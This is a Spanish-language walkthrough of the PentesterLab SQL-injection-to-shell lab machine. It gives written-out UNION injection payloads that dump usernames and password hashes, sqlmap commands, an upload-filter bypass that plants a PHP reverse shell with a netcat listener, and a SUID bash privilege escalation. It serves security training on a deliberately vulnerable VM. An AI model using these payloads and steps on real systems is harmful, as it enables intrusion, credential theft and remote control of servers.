De SQL Injection a Shell: Explotación Manual y Automatizada (PentesterLab)

Guía práctica para explotar SQL Injection hasta RCE: inyección manual UNION, automatización con SQLMap, escritura de webshell con INTO OUTFILE y reverse shell.

Esta maquina la podemos descargar directamente desde la web de vulnhub En este Enlace, esta es una maquina linux en la cual podremos aplicar algunas técnicas básicas de ataques de inyecciones de código SQL y aprovecharnos de la filtración de información para encontrar información sensible que puede ser utilizada para lograr acceso al a un aplicativo o directamente al servidor.

1. Descubrimiento y Enumeración Inicial

para identificar el host que vamos a utilizar la herramienta netdiscover como en ocasiones anteriores:

sudo netdiscover -r 192.168.56.0/24

Imagen técnica

realizamos una escaneo de puertos con la herramienta nmap utilizando los siguientes parámetros:

sudo nmap -n -Pn -p- --open -sS -T 5 -O 192.168.56.106 -oX PuertosAbiertos.xml

Imagen técnica

encontramos 2 puertos el puerto 22 correspondiente a SSH y el puerto 80 correspondiente a un http.

Ingresamos a través del navegador a la url http://192.168.56.106 y nos encontramos el siguiente sitio web:

Imagen técnica

Al explorar la pagina identificamos un pequeño menú de navegación y encontramos que tenemos varias pestañas las que nos dejan ingresar a diferentes partes del sitio web, incluyendo un panel de administración.

Imagen técnica

Imagen técnica

ya hemos navegado dentro del sitio web identificamos que en los menus: test, ruxcon y 2010 vemos algo parecido a una categoría. identificando la variable id que utiliza el método GET de PHP la cual nos permite navegar entre categorías únicamente cambiando el valor de la variable

Imagen técnica

Imagen técnica

Tomando esto en cuenta podemos hacer algunas pruebas para validar si ese parámetro nos permite realizar alguna inyección de SQL. Para realizar esto necesitamos hacer una simple prueba, la cual consiste en agregar una comilla simple ’ al final valor de la variable indicada en el URL.

Imagen técnica

Como podemos observar en la imagen anterior obtenemos un error de sintaxis de MySQL que nos indica que probablemente existe en el código PHP del archivo cat.php una consulta hacia MySQL que podría verse de esta forma:

SELECT x, y, z FROM table WHERE y=$id

El hecho que obtengamos un error de sintaxis marcado como error cerca de ‘’’ indica que el código PHP dentro del archivo cat.php no valida si se agrega algún carácter especial dentro de la variable id por lo que al agregar nosotros una comilla simple básicamente hicimos lo siguiente:

SELECT x, y, z FROM table WHERE y='1''

en el ejemplo anterior nos damos cuenta que el script al tener dos comillas simples juntas lo interpreta como parte del script de PHP dándonos como resultado un error de sintaxis, lo que nos prueba que es muy probable que podamos inyectar consultas directamente a la base de datos.

2. Explotación de SQL Injection (Manual y con SQLMap)

Ya que no conocemos nada sobre la infraestructura de la base de datos que se estamos consultando; no conocemos el nombre ni la cantidad de columnas o campos, ni como se llama la tabla y mucho menos el nombre de la base de datos. Pero con algunas consultas insertadas dentro de esto agujero en el código PHP podemos obtener esta información para luego poder realizar consultas mas complejas. Para esto utilizaremos algunos pasos:

Paso #1: debemos identificar la cantidad de columnas o campos que tiene la tabla o consulta que se esta ejecutando dentro del archivo PHP, para esto utilizaremos una inyección del comando UNION dentro de la consulta existente.

Si la consulta inicial es la siguiente:

SELECT x, y, z FROM table WHERE y=$id

nosotros podemos agregar información dentro de la variable id de la siguiente forma:

order by 1 -- -

con esto le indicamos que ordene la tabla con la cantidad indicada de campos, en este caso por 1 campo, y las líneas – - hacen que el resto de la consulta SQL dentro del archivo PHP se conviertan en un comentario, por lo que ya no son tomadas en cuenta al momento de ejecutar la consulta. esta inyección la ejecutamos de la siguiente forma:

http://192.168.56.106/cat.php?id=1 order by 1 -- -

y el script de PHP lo debería de interpretar de la siguiente forma

SELECT x, y, z FROM table WHERE y=1 order by 1 -- - and ........

Si incrementamos el valor del orden, llegaremos a un punto donde nuevamente forzaremos el error, en este caso el punto donde pidamos ordenar por una cantidad mayor a los campos que esa consulta puede darnos. si probamos incrementando en 1 el orden notaremos que el ultimo que funciona sin devolver error es el 4 ya que cuando ponemos 5, obtenemos el error de que no se puede ordenar por 5 campos

Imagen técnica

Paso#2: Entonces, ya conocemos la cantidad de campos que nos devuelve la consulta original, por lo que ahora necesitamos verificar cual de esos campos puede mostrarnos la información que filtraremos durante el ataque. para realizar esto necesitamos insertar en la variable id los campos y entender en que orden están dispuestos dentro del resultado de archivo PHP al momento de imprimirlos:

1 UNION SELECT NULL, NULL, NULL, NULL --

Imagen técnica

Paso#3:Ahora podemos cambiar cualquiera de los campos NULL por algún texto que podamos reconocer dentro del resultado de salida del script de PHP.

1 UNION SELECT 'ESTO ES UNA PRUEBA', NULL, NULL, NULL--
1 UNION SELECT NULL, 'ESTO ES UNA PRUEBA', NULL, NULL--
1 UNION SELECT NULL, NULL, 'ESTO ES UNA PRUEBA', NULL--
1 UNION SELECT NULL, NULL, NULL, 'ESTO ES UNA PRUEBA'--

Imagen técnica

Paso#4: Ubicando el segundo campo como el posible nombre de la imagen podemos insertar datos desde ese campo, tales datos que únicamente cambiando el texto del ejemplo anterior por el comando database() obtenemos el nombre la base de datos que esta corriendo la consulta SQL

Imagen técnica

Paso#5: Ahora necesitamos determinar que tablas tiene la base de datos photoblog con lo que podemos insertar de la siguiente forma:

1 UNION SELECT NULL, table_name, NULL, NULL FROM information_schema.tables where table_schema='photoblog' --

encontramos que la base de datos photoblog tiene 3 tablas: categories, pictures y users

Imagen técnica

Paso#6: Ahora podemos tratar de identificar cuales son los nombres de las columnas o campos de cada tabla, en este caso investigaremos la tabla users:

1 UNION SELECT NULL, group_concat(column_name), NULL, NULL FROM information_schema.columns where table_schema=‘photoblog’ and table_name=‘users’ –

Imagen técnica

Ya hemos identificado entonces el nombre de los campos dentro de la tabla users: id, login, y password, con esta información ya podemos hacer un dump de tabla users:

1 UNION SELECT NULL, group_concat(login,':',password), NULL, NULL FROM users

Imagen técnica

logramos identificar un usuario y un password que parece estar encriptado, por lo que para identificar que tipo de encriptación podemos usar un útil script hecho en python que nos ayuda a identificar que tipo de encriptación tiene un hash. hash-id.py

Imagen técnica

identificamos que es un hash MD5 por lo que podríamos utilizar para avanzar rápido algún servicio de desencriptación online: md5 decript onlinetool

Imagen técnica

entonces tenemos que el usuario admin tiene un pass para la plataforma web P4ssw0rd, permitiéndonos el acceso a la administración de la aplicación web:

Imagen técnica

Todo el proceso anterior lo podemos realizar también con una herramienta que nos ayuda con muchas automatizaciones en la parte de ataques de inyección de consultas SQL. Hablamos de la herramienta sqlmap. para utilizarla solo debemos conocer algunos argumentos a utilizar. y podemos obtener toda la información que obtuvimos de forma manual.

Imagen técnica

Los argumentos que utilizaremos en este momento serán únicamente:

--dbs
--tables
--columns
--dump
-T

Para utilizar sqlmap debemos primero correr el script de esta forma

sudo sqlmap http://192.168.56.106/cat.php?id=1

y debemos completar el asistente para que el script pueda determinar la técnica a utilizar y al finalizar ya podemos repetir el comando con los argumentos indicados anteriormente.

Imagen técnica

Al finalizar el asistente de configuración obtendremos un pequeño resumen de la técnica a utilizar y la variable que explotara dentro del URL que le indicamos

Imagen técnica

sudo sqlmap http://192.168.56.106/cat.php?id=1 --dbs

Nos permite listar todas las bases de datos dentro del esquema del servidor de base de datos:

Imagen técnica

sudo sqlmap http://192.168.56.106/cat.php?id=1 --tables

Nos permite listar todas las tablas de todas las bases de datos dentro del servidor, en este caso mostramos únicamente las tablas de la base de datos que estamos utilizando

Imagen técnica

sudo sqlmap http://192.168.56.106/cat.php?id=1 --columns -T users

Nos permite listar todas las columnas que contiene la tabla users, lo cual nos permite realizar si quisiéramos consultas de las tablas, el siguiente comando a utilizar el –dump el

sudo sqlmap http://192.168.56.106/cat.php?id=1 --dump -T users

Imagen técnica

Sin embargo la herramienta nos permite intentar crackear el password encontrado utilizando la una ataque de lista para determinar el hash, que en este caso en un md5

Imagen técnica

Básicamente la herramienta nos puede ayudar a realizar automáticamente todo lo aprendido en primera parte de este writeup.

3. Escritura de WebShell y Persistencia

Ya dentro de la aplicación web, notamos que podemos subir archivos, por lo que intentaremos subir un archivo PHP en vez de la foto para hacer un shell reverse, siempre usando el script realizado por @pentestmonkey en Github, pero al tratar de subir el archivo con extensión php, notamos que el sistema tiene alguna restriccion sobre subir archivos con esa extensión.

Imagen técnica

Imagen técnica

por lo que podríamos tratar de cambiar el nombre de extensión del archivo por PHP (en mayúsculas) para determinar si la restricción es a nivel de una validación de un texto, y efectivamente solo cambiando la extensión del archivo de php a PHP logramos saltarnos la validación realizada por texto.

Imagen técnica

ahora únicamente tenemos que abrir la imagen y activar netcat en la maquina linux atacante, para tener una reverse-shell que nos permita ingresar y controlar el equipo de forma remota.

nc -lvnp 1234

Imagen técnica

4. Escalada de Privilegios hacia Root

validamos permisos de SUID y notamos que tenemos permisos sobre el binario bash el cual nos permite subir a root con el comando /bin/bash -p

Imagen técnica

Imagen técnica

Cabe mencionar que la escalación de privilegios no es parte del reto de esta maquina como tal, este SUID se agrego para poder practicar la visualización y búsqueda de binarios que pudiéramos aprovechar de alguna forma.